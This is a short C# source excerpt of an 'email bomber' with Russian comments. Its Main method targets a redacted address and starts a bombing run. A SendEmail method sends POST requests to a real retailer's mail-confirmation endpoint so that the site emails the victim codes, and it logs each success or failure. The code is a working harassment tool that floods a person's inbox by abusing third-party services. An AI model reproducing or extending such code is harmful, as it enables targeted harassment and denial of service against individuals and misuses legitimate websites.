static void Main(string[] args) { BomberLogger.GetLogger().Info("Запуск логгера"); string email = "*****@*****.**"; LogManager.Configuration.Variables["email"] = email; Bomber bomber = BomberFactory.FullBomber(email); //С помощью фабрики создаём новый экземпляр бомбера bomber.Bomb().Wait(); //Начинаем бомбить и ждём завершения задачи }
public override async Task <IDocument> SendEmail(string email) { #region initPostData var postBody = new Dictionary <string, string>(); //Тело POST запроса в виде коллекции<название_поля,значение_поля>, которые передаются в теле POST запроса postBody.Add(@"mail_confirm", "Y"); postBody.Add(@"action", "getCode"); postBody.Add(@"email", email); var documentRequest = DocumentRequest.PostAsUrlencoded(new Url("https://fix-price.ru/ajax/confirm_mail.php"), postBody); //POST запрос к заданному Url'у и телом запроса #endregion var result = await context.OpenAsync(documentRequest); //Получаем результат нашего запроса на отправку письма (при готовности) string textResponse = unicodeEncode(result.Source.Text); if (textResponse == "{\"status\":1}") { BomberLogger.GetLogger().Info($"fix-price.ru [Успешно]"); } else { BomberLogger.GetLogger().Info($"fix-price.ru [Провал]"); } return(result);//Возвращаем результат отправки }